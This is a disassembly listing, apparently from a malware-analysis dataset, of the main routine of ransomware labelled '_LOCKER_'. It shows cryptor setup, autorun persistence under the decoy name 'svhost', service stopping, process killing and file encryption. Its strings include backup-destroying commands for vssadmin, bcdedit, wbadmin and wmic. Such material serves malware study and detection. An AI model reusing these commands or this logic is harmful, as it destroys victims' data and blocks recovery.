Function at 0x405c70
Capabilities:
Delete volume shadow copies
Disable automatic windows recovery features
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x4824de
push 0
call fcn.00454718
add esp, 8
push 0x3f
push 0x4824df
lea ecx, [ebp - 0x148]
call fcn.004054b0
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.004261d1
add esp, 8
lea ecx, [ebp - 0x140]
call fcn.00405540
lea ecx, [ebp - 0x148]
call fcn.00405540
push str._LOCKER__Is_running_n
lea ecx, [ebp - 0xf7]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
push str.8761ABBD_7F85_42EE_B272_A76179687C63
lea ecx, [ebp - 0x160]
call fcn.00407cd0
lea ecx, [ebp - 0x160]
push ecx
call fcn.00405630
add esp, 4
mov byte [ebp - 0xd5], al
lea ecx, [ebp - 0x160]
call fcn.00407b40
movzx edx, byte [ebp - 0xd5]
test edx, edx
je 0x405d3a
push str._LOCKER__Is_already_running_n
lea ecx, [ebp - 0xf8]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
xor eax, eax
jmp 0x4064f0
lea ecx, [ebp - 6]
call fcn.00401100
lea ecx, [ebp - 6]
call fcn.00420b80
lea ecx, [ebp - 6]
call fcn.00420bb0
lea ecx, [ebp - 6]
call fcn.00420ae0
movzx eax, al
test eax, eax
je 0x405d6d
mov dword [ebp - 0x10c], str._LOCKER__Priv:_ADMIN_n
jmp 0x405d77
mov dword [ebp - 0x10c], str._LOCKER__Priv:_USER_n
mov ecx, dword [ebp - 0x10c]
mov dword [ebp - 0x130], ecx
lea edx, [ebp - 0x130]
push edx
lea ecx, [ebp - 0xf9]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
call fcn.00405680
lea ecx, [ebp - 0x74]
call fcn.00415480
push str._LOCKER__Init_cryptor_n
lea ecx, [ebp - 0xfa]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
mov ecx, 0x4a3ac0
call fcn.00401100
push eax
call fcn.00401650
add esp, 4
push eax
lea ecx, [ebp - 0x74]
call fcn.00415500
movzx eax, al
test eax, eax
jne 0x405e24
push str._LOCKER__Init_cryptor_is_failed_n
lea ecx, [ebp - 0xfb]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
call fcn.004024a0
mov dword [ebp - 0x134], 0
lea ecx, [ebp - 0x74]
call fcn.004154d0
lea ecx, [ebp - 6]
call fcn.004016f0
mov eax, dword [ebp - 0x134]
jmp 0x4064f0
push str._LOCKER__Put_ID_to_HTML_code_n
lea ecx, [ebp - 0xed]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
push str.IDENTIFIER
lea ecx, [ebp - 0x178]
call fcn.00408000
lea ecx, [ebp - 0x238]
push ecx
lea ecx, [ebp - 0x74]
call fcn.00415640
push eax
call fcn.00401650
add esp, 4
push eax
lea edx, [ebp - 0x178]
push edx
mov ecx, 0x4a3ac0
call fcn.00412040
movzx eax, al
test eax, eax
jne 0x405e88
mov dword [ebp - 0x108], 1
jmp 0x405e92
mov dword [ebp - 0x108], 0
mov cl, byte [ebp - 0x108]
mov byte [ebp - 0xd6], cl
lea ecx, [ebp - 0x238]
call fcn.00407f50
lea ecx, [ebp - 0x178]
call fcn.00407f50
movzx edx, byte [ebp - 0xd6]
test edx, edx
je 0x405f00
push str._LOCKER__Put_ID_to_HTML_code_is_failed__n
lea ecx, [ebp - 0xee]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
call fcn.004024a0
mov dword [ebp - 0x138], 0
lea ecx, [ebp - 0x74]
call fcn.004154d0
lea ecx, [ebp - 6]
call fcn.004016f0
mov eax, dword [ebp - 0x138]
jmp 0x4064f0
lea ecx, [ebp - 0xa]
call fcn.00401100
push str._LOCKER__Add_to_autorun_n
lea ecx, [ebp - 0xef]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
push str.svhost
lea ecx, [ebp - 0x190]
call fcn.00407cd0
mov ecx, 0x4a3ac0
call fcn.00412320
push eax
lea eax, [ebp - 0x190]
push eax
lea ecx, [ebp - 0xa]
call fcn.0041f730
lea ecx, [ebp - 0x190]
call fcn.00407b40
push str._LOCKER__Scan_hidden_devices_n
lea ecx, [ebp - 0xf0]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
lea ecx, [ebp - 9]
call fcn.00401100
lea ecx, [ebp - 9]
call fcn.0041c020
push str._LOCKER__Stop_and_delete_services_n
lea ecx, [ebp - 0xf1]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
lea ecx, [ebp - 5]
call fcn.00401100
mov ecx, 0x4a3ac0
call fcn.004122e0
mov dword [ebp - 0x104], eax
mov ecx, dword [ebp - 0x104]
call fcn.00401be0
mov dword [ebp - 0xe0], eax
mov ecx, dword [ebp - 0x104]
call fcn.00401bf0
mov dword [ebp - 0x118], eax
jmp 0x405fdd
mov ecx, dword [ebp - 0xe0]
add ecx, 0x18
mov dword [ebp - 0xe0], ecx
mov edx, dword [ebp - 0xe0]
cmp edx, dword [ebp - 0x118]
je 0x406046
mov eax, dword [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x8c]
call fcn.00407de0
push 0x3e8
lea ecx, [ebp - 0x8c]
push ecx
call fcn.00401650
add esp, 4
push eax
lea ecx, [ebp - 5]
call fcn.0041ed00
movzx edx, al
test edx, edx
je 0x406039
lea eax, [ebp - 0x8c]
push eax
call fcn.00401650
add esp, 4
push eax
lea ecx, [ebp - 5]
call fcn.0041eed0
lea ecx, [ebp - 0x8c]
call fcn.00407b40
jmp 0x405fce
push str._LOCKER__Kill_processes_n
lea ecx, [ebp - 0xf2]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
mov ecx, 0x4a3ac0
call fcn.00412300
mov dword [ebp - 0x100], eax
mov ecx, dword [ebp - 0x100]
call fcn.00401be0
mov dword [ebp - 0xe4], eax
mov ecx, dword [ebp - 0x100]
call fcn.00401bf0
mov dword [ebp - 0x11c], eax
jmp 0x4060a0
mov ecx, dword [ebp - 0xe4]
add ecx, 0x18
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0x11c]
je 0x4060e5
mov eax, dword [ebp - 0xe4]
push eax
lea ecx, [ebp - 0xbc]
call fcn.00407de0
lea ecx, [ebp - 0xbc]
push ecx
call fcn.00401650
add esp, 4
push eax
lea ecx, [ebp - 5]
call fcn.0041ea80
lea ecx, [ebp - 0xbc]
call fcn.00407b40
jmp 0x406091
mov dword [ebp - 0xe8], 0
jmp 0x406100
mov edx, dword [ebp - 0xe8]
add edx, 1
mov dword [ebp - 0xe8], edx
cmp dword [ebp - 0xe8], 3
jge 0x40624e
mov eax, dword [ebp - 0xe8]
add eax, 1
mov dword [ebp - 0x120], eax
push 0x4829e0
lea ecx, [ebp - 0x120]
push ecx
push str._LOCKER__Remove_backups
lea ecx, [ebp - 0xf3]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
mov ecx, eax
call fcn.004017b0
mov ecx, eax
call fcn.004017b0
push str.vssadmin.exe_Delete_Shadows__All__Quiet
lea ecx, [ebp - 0x220]
call fcn.00407cd0
lea edx, [ebp - 0x220]
push edx
lea ecx, [ebp - 5]
call fcn.0041e9a0
lea ecx, [ebp - 0x220]
call fcn.00407b40
push str.bcdedit.exe__set_default_recoveryenabled_No
lea ecx, [ebp - 0x1a8]
call fcn.00407cd0
lea eax, [ebp - 0x1a8]
push eax
lea ecx, [ebp - 5]
call fcn.0041e9a0
lea ecx, [ebp - 0x1a8]
call fcn.00407b40
push 0x482ac0
lea ecx, [ebp - 0x1c0]
call fcn.00407cd0
lea ecx, [ebp - 0x1c0]
push ecx
lea ecx, [ebp - 5]
call fcn.0041e9a0
lea ecx, [ebp - 0x1c0]
call fcn.00407b40
push str.wbadmin_DELETE_SYSTEMSTATEBACKUP
lea ecx, [ebp - 0x1d8]
call fcn.00407cd0
lea edx, [ebp - 0x1d8]
push edx
lea ecx, [ebp - 5]
call fcn.0041e9a0
lea ecx, [ebp - 0x1d8]
call fcn.00407b40
push str.wbadmin_DELETE_SYSTEMSTATEBACKUP__deleteOldest
lea ecx, [ebp - 0x1f0]
call fcn.00407cd0
lea eax, [ebp - 0x1f0]
push eax
lea ecx, [ebp - 5]
call fcn.0041e9a0
lea ecx, [ebp - 0x1f0]
call fcn.00407b40
push str.wmic.exe_SHADOWCOPY__nointeractive
lea ecx, [ebp - 0x208]
call fcn.00407cd0
lea ecx, [ebp - 0x208]
push ecx
lea ecx, [ebp - 5]
call fcn.0041e9a0
lea ecx, [ebp - 0x208]
call fcn.00407b40
jmp 0x4060f1
lea ecx, [ebp - 5]
call fcn.0041ea50
push 1
call fcn.00405820
add esp, 4
lea ecx, [ebp - 8]
call fcn.00401100
push 0x18
lea ecx, [ebp - 0x48]
call fcn.004015c0
lea ecx, [ebp - 0x48]
call fcn.004194e0
lea ecx, [ebp - 7]
call fcn.00401100
push 0xc
lea ecx, [ebp - 0x18]
call fcn.004015c0
lea ecx, [ebp - 0x18]
call fcn.004066a0
push str._LOCKER__Run_scanning..._n_n
lea ecx, [ebp - 0xf4]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
push 0xc
lea ecx, [ebp - 0x24]
call fcn.004015c0
lea edx, [ebp - 0x24]
push edx
lea ecx, [ebp - 8]
call fcn.00416ba0
lea eax, [ebp - 0x24]
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 0x114]
call fcn.00401be0
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0x114]
call fcn.00401bf0
mov dword [ebp - 0x124], eax
jmp 0x4062fd
mov ecx, dword [ebp - 0xec]
add ecx, 0x18
mov dword [ebp - 0xec], ecx
mov edx, dword [ebp - 0xec]
cmp edx, dword [ebp - 0x124]
je 0x4063a1
mov eax, dword [ebp - 0xec]
push eax
lea ecx, [ebp - 0xa4]
call fcn.00407de0
push 0x482abc
lea ecx, [ebp - 0xa4]
push ecx
push 0x4829e4
lea ecx, [ebp - 0xf5]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
mov ecx, eax
call fcn.004017b0
mov ecx, eax
call fcn.004017b0
lea edx, [ebp - 0x18]
push edx
call fcn.00401650
add esp, 4
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.00401650
add esp, 4
push eax
lea ecx, [ebp - 0x74]
push ecx
call fcn.00401650
add esp, 4
push eax
lea edx, [ebp - 0xa4]
push edx
call fcn.00401650
add esp, 4
push eax
call fcn.004058e0
add esp, 0x10
lea ecx, [ebp - 0xa4]
call fcn.00407b40
jmp 0x4062ee
push 0xc
lea ecx, [ebp - 0x30]
call fcn.004015c0
push 0x64
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 7]
call fcn.0041d590
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x110], ecx
mov ecx, dword [ebp - 0x110]
call fcn.00401be0
mov dword [ebp - 0xdc], eax
mov ecx, dword [ebp - 0x110]
call fcn.00401bf0
mov dword [ebp - 0x128], eax
jmp 0x4063f5
mov edx, dword [ebp - 0xdc]
add edx, 0x18
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xdc]
cmp eax, dword [ebp - 0x128]
je 0x406461
mov ecx, dword [ebp - 0xdc]
push ecx
lea ecx, [ebp - 0xd4]
call fcn.00407de0
lea edx, [ebp - 0x18]
push edx
call fcn.00401650
add esp, 4
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.00401650
add esp, 4
push eax
lea ecx, [ebp - 0x74]
push ecx
call fcn.00401650
add esp, 4
push eax
lea edx, [ebp - 0xd4]
push edx
call fcn.00401650
add esp, 4
push eax
call fcn.004058e0
add esp, 0x10
lea ecx, [ebp - 0xd4]
call fcn.00407b40
jmp 0x4063e6
push str._LOCKER__Sleep_at_60_seconds..._n_n
lea ecx, [ebp - 0xf6]
call fcn.00401100
mov ecx, eax
call fcn.004017b0
push 0xea60
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x30]
call fcn.004078b0
lea ecx, [ebp - 0x24]
call fcn.004078b0
jmp 0x4062ab
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 0x10